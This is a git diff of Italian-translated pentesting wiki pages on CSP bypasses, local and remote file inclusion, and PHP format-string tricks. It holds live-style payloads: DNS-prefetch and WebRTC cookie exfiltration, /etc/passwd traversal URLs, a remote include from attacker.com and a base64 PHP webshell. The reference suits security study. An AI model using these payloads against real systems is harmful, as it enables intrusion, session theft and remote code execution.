stile printf all'interno di PHP: leaks con `%p`, controllo del conteggio di scrittura con specificatori di larghezza, e scritture arbitrarie con `%n` contro puntatori in-process (ad esempio, entry della GOT su build ELF). + +Pattern minimo di riproduzione vulnerabile: +```php +d%$n` per ottenere la sovrascrittura parziale desiderata. ## Riferimenti - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 170d6610e..baa2141e0 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,28 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -## What is CSP +## Che cos'è CSP -La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`. +Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, pensata principalmente per **proteggere da attacchi come cross-site scripting (XSS)**. Funziona definendo e specificando percorsi e origini dalle quali il browser può caricare in modo sicuro le risorse. Queste risorse comprendono elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice in stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`. -L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate. +L'implementazione di CSP avviene tramite **header di risposta** o inserendo **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente tali disposizioni e bloccano immediatamente qualsiasi violazione rilevata. - Implementato tramite header di risposta: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implementato tramite tag meta: +- Implementato tramite meta tag: ```xml ``` -### Headers +### Intestazioni -CSP può essere applicato o monitorato utilizzando questi header: +CSP può essere applicato o monitorato usando queste intestazioni: -- `Content-Security-Policy`: Applica il CSP; il browser blocca eventuali violazioni. -- `Content-Security-Policy-Report-Only`: Utilizzato per il monitoraggio; riporta le violazioni senza bloccarle. Ideale per testare in ambienti di pre-produzione. +- `Content-Security-Policy`: Applica la CSP; il browser blocca eventuali violazioni. +- `Content-Security-Policy-Report-Only`: Usato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per test in ambienti pre-produzione. -### Defining Resources +### Definizione delle risorse CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è: ```bash @@ -39,42 +39,42 @@ object-src 'none'; ``` ### Direttive -- **script-src**: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT. -- **default-src**: Imposta una politica predefinita per il recupero delle risorse quando mancano direttive di recupero specifiche. -- **child-src**: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati. -- **connect-src**: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Limita gli URL per i frame. -- **frame-ancestors**: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come ``, ` // The bot will load an URL with the payload @@ -548,22 +551,22 @@ run() ``` ### Via Bookmarklets -Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token. +Questo attacco implica una certa social engineering in cui l'attaccante **convince l'utente a drag\&dropped un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe codice **malicious javascript** che quando drag\&dropped o clicked verrebbe eseguito nel contesto della finestra web corrente, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookies o tokens. -Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### Bypass CSP limitando CSP +### CSP bypass by restricting CSP -In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un altro script per caricare uno script arbitrario**. +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), il CSP viene bypassato iniettando, all'interno di un iframe consentito, un CSP più restrittivo che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un diverso script per caricare uno script arbitrario**. -Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**: +Puoi **restringere il CSP di un Iframe** con l'attributo **`csp`**: ```html ``` -In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\ -La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** rendere più restrittiva una **CSP** in modo che uno script che preveniva il CSTI venisse disabilitato e quindi la **vulnerability became exploitable.**\ +La CSP può essere resa più restrittiva usando **HTML meta tags** e gli inline scripts possono essere disabilitati rimuovendo la **entry** che permette il loro **nonce** e abilitando specifici inline script tramite **sha**: ```html " -Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto. +# Exceed max_input_vars to force warnings before header() → CSP stripped +curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" +# Warning: PHP Request Startup: Input variables exceeded 1000 ... +# Warning: Cannot modify header information - headers already sent +``` +### Riscrittura della pagina di errore + +Da [**this writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -625,40 +644,40 @@ a.document.body.innerHTML = ` ``` ### DNS Prefetch -Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo.\ -Puoi indicare a un browser di pre-risolvere un nome host con: `` +Per caricare le pagine più velocemente, i browser risolveranno preventivamente gli hostname in indirizzi IP e li memorizzeranno nella cache per uso successivo.\ +Puoi indicare a un browser di risolvere preventivamente un hostname con: `` -Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**: +Potresti abusare di questo comportamento per **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -675,18 +694,18 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Per evitare che ciò accada, il server può inviare l'intestazione HTTP: +Per evitare che ciò accada, il server può inviare l'HTTP header: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Apparentemente, questa tecnica non funziona nei browser headless (bot) +> Apparentemente, questa tecnica non funziona nei headless browsers (bots) ### WebRTC -Su diverse pagine puoi leggere che **WebRTC non controlla la politica `connect-src`** del CSP. +Su diverse pagine puoi leggere che **WebRTC non verifica la `connect-src` policy** della CSP. -In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Dai un'occhiata a questo codice: +In realtà puoi _leak_ informazioni usando una _DNS request_. Guarda questo codice: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -708,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Il popup delle credenziali invia una richiesta DNS all'iconURL senza essere limitato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost. +Il popup delle credenziali invia una richiesta DNS a iconURL senza essere soggetto alle restrizioni della pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -719,7 +738,7 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Controllare le politiche CSP online +## Verifica delle policy CSP online - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) @@ -738,6 +757,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 41e98b8ab..906769b41 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,7 +4,7 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Ideale: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\ **Local File Inclusion (LFI):** Il server carica un file locale. La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server. @@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Mescolando diverse \*nix liste LFI e aggiungendo altri percorsi ho creato questa:** +**Combinando diverse liste \*nix LFI e aggiungendo altri percorsi ho creato questa:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Prova anche a cambiare `/` con `\`\ +Prova anche a sostituire `/` con `\`\ Prova anche ad aggiungere `../../../../../` -Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -40,22 +40,22 @@ Unione di diverse wordlists: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Prova anche a cambiare `/` con `\`\ +Prova anche a sostituire `/` con `\`\ Prova anche a rimuovere `C:/` e aggiungere `../../../../../` -Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Controlla la lista LFI di linux. -## LFI di base e bypass +## LFI di base e bypasses -Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### sequenze traversal rimosse non ricorsivamente +### sequenze di traversal rimosse non ricorsivamente ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypassare l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php") +Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Questo è **risolto a partire da PHP 5.4** +Questo è **risolto da PHP 5.4** ### **Codifica** -Puoi usare codifiche non standard come doppio URL encode (e altre): +Puoi usare codifiche non standard come double URL encode (e altri): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Esplorare le directory del file system su un server -Il file system di un server può essere esplorato ricorsivamente per individuare directory, non solo file, usando determinate tecniche. Il processo prevede la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo: +Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e il controllo dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo: -1. **Determinare la profondità delle directory:** Accerta la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre: +1. **Determinare la profondità della directory:** Accertare la profondità della directory corrente riuscendo a recuperare il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Aggiungi il nome della cartella sospetta (ad es., `private`) all'URL, quindi torna a navigare verso `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno: +2. **Sonda le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretare i risultati:** La risposta del server indica se la cartella esiste: - **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata. - **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata. -4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI). +4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI). -Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente sia a una profondità di 3), usa: +Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (supponendo che la directory corrente sia ad una profondità di 3), usa: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file restritti bypassando certe misure di sicurezza che aggiungono caratteri extra alla fine dei percorsi dei file. L'obiettivo è costruire un percorso file che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato. +Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file protetti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato. -In PHP, diverse rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio: +In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del filesystem. Per esempio: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono trattati tutti come lo stesso percorso. -- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (facendolo diventare `passwd/`) non cambia il file di destinazione. -- Allo stesso modo, se viene aggiunto `.php` a un percorso file (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono tutti trattati come lo stesso percorso. +- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendo `passwd/`) non cambia il file di destinazione. +- Allo stesso modo, se `.php` è aggiunto a un percorso (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede. -Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente): +Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server. +In questi scenari, il numero di traversal necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server. -- **Using Dot Segments and Additional Characters**: Le traversal sequences (`../`) combinate con segmenti puntati aggiuntivi e caratteri possono essere utilizzate per navigare il file system, ignorando effettivamente le stringhe aggiunte dal server. -- **Determining the Required Number of Traversals**: Tramite tentativi ed errori, si può trovare il numero preciso di `../` necessari per raggiungere la root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il path desiderato (`/etc/passwd`) rimanga intatto. -- **Starting with a Fake Directory**: È pratica comune iniziare il path con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della path parsing logic del server. +- **Usare Dot Segments e caratteri aggiuntivi**: Le traversal sequences (`../`) combinate con dot segments aggiuntivi e caratteri possono essere usate per navigare il file system, facendo in modo di ignorare le stringhe aggiunte dal server. +- **Determinare il numero di traversal richiesto**: Attraverso tentativi ed errori, si può trovare il numero preciso di `../` traversal necessari per arrivare alla directory root e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto. +- **Iniziare con una directory finta**: È prassi comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server. -Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di path parsing del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace. +Quando si impiegano tecniche di path truncation, è fondamentale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace. -**This vulnerability was corrected in PHP 5.3.** +**Questa vulnerabilità è stata corretta in PHP 5.3.** -### **Filter bypass tricks** +### **Trucchi per bypassare i filtri** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE: +In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server ed ottenere RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE: +Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il protocollo data con base64 per decodificare un PHP codificato in b64 e ottenere RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito). - -Another example **not using the `php://` protocol** would be: +> Nel codice precedente, il `+.txt` finale è stato aggiunto perché l attacker aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo dati inutili e il vero codice PHP sarà incluso (e quindi eseguito). +> +> Un altro esempio **che non usa il protocollo `php://`** sarebbe: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python elemento root +## Python Root element -In Python, in un codice come il seguente: +In Python, in un codice come questo: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) @@ -173,17 +173,17 @@ Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso prec os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Questo è il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto. +> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'operazione di join continua dal componente del percorso assoluto. -## Java - Elenco directory +## Java List Directories -Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito **l'elenco della directory**. Questo non succede in altri linguaggi (per quanto ne so). +Sembra che se hai una Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito un **listing della directory**. Questo non accade in altri linguaggi (per quanto ne so). -## Top 25 parametri +## Top 25 parameters -Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Ecco la lista dei top 25 parameters che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,30 +211,30 @@ Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a l ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI usando PHP wrappers & protocolli ### php://filter -PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri: +I filter PHP permettono di eseguire semplici **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri "<" e ">") -- Nota che questo filtro è scomparso dalle versioni moderne di PHP +- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che è tra i caratteri "<" e ">") +- Nota che questo filtro è scomparso nelle versioni moderne di PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Trasforma in una codifica differente (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l` +- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l` > [!WARNING] -> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni vedi [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprimi il contenuto (utile se esfiltrando molte informazioni) +- `zlib.deflate`: Comprimi il contenuto (utile se si devono esfiltrare molte informazioni) - `zlib.inflate`: Decomprimi i dati - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecato @@ -242,7 +242,7 @@ PHP filters permettono di eseguire operazioni di base di **modifica sui dati** p - Other Filters - Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**: - `consumed` -- `dechunk`: inverte l'encoding HTTP chunked +- `dechunk`: inverte l'encoding chunked HTTP - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> La parte "php://filter" non è case sensitive +> La parte "php://filter" non fa distinzione tra maiuscole e minuscole ### Usare php filters come oracle per leggere file arbitrari -[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far scattare un'eccezione in php. +[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far lanciare un'eccezione a php. -Nel post originale si trova una spiegazione dettagliata della tecnica, qui invece un riassunto veloce: +Nel post originale trovi una spiegazione dettagliata della tecnica, qui invece un rapido riassunto: -- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. -- Questo verrà usato per generare un **text so big when the initial letter is guessed correctly** che php scarterà con un **error** -- Il filter **dechunk** **rimuoverà tutto se il primo char non è un hexadecimal**, quindi possiamo sapere se il primo char è hex. -- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando, applicando abbastanza trasformazioni, essa non è più un hexadecimal character. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'error di php. -- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hexadecimal, quindi dechunk non la elimina e l'error php viene triggerato perché si moltiplica con la bomba iniziale. -- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex). -- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero. -- Il problema finale è capire **how to leak more than the initial letter**. Usando order memory filters come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei chars e portare in prima posizione altre lettere del testo. -- E per poter ottenere **further data** l'idea è **generare 2 bytes of junk data at the beginning** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivot with the next 2 bytes**, e d**elete the data until the junk data** (questo rimuoverà i primi 2 bytes del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare. +- Usa il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa. +- Questo servirà a generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php genererà un **errore** +- Il filtro **dechunk** rimuoverà tutto se il primo carattere non è un esadecimale, quindi possiamo sapere se il primo carattere è hex. 